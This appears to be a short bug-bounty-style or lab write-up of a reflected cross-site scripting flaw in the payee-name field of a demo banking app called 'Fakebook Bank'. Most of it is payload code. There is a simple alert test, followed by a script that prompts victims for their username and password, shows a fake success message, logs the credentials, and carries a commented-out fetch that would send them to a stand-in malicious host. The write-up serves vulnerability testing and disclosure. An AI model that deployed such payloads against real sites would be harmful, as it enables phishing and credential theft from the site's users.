Fakebook Bank

Description

This scenario has a reflection when a user enter the payee name. The user input is reflected back in the response without proper sanitization, allowing an attacker to inject malicious scripts.

Steps to Reproduce

1. Put in Payee Name:

```
<script>alert('XSS')</script>
```

2. If you want to put in login fields, you can use the following:

```
<script>
    // Step 1: Prompt the user for credentials
    let username = prompt("Enter your username:");
    let password = prompt("Enter your password:");

    // Step 2: Display a fake "login successful" message
    alert("Login successful! Your credentials have been saved.");

    // Step 3: Send or log the captured credentials
    console.log("Captured Credentials:", username, password);

    // Optionally send the credentials to an external server (for simulation)
    // fetch('http://your-malicious-site.com/steal', {
    //     method: 'POST',
    //     headers: {'Content-Type': 'application/json'},
    //     body: JSON.stringify({username, password})
    // });
</script>
```

Impact

An attacker can inject a script that executes when the user enters the payee name, potentially stealing cookies or other sensitive information. This can lead to unauthorized access and data manipulation.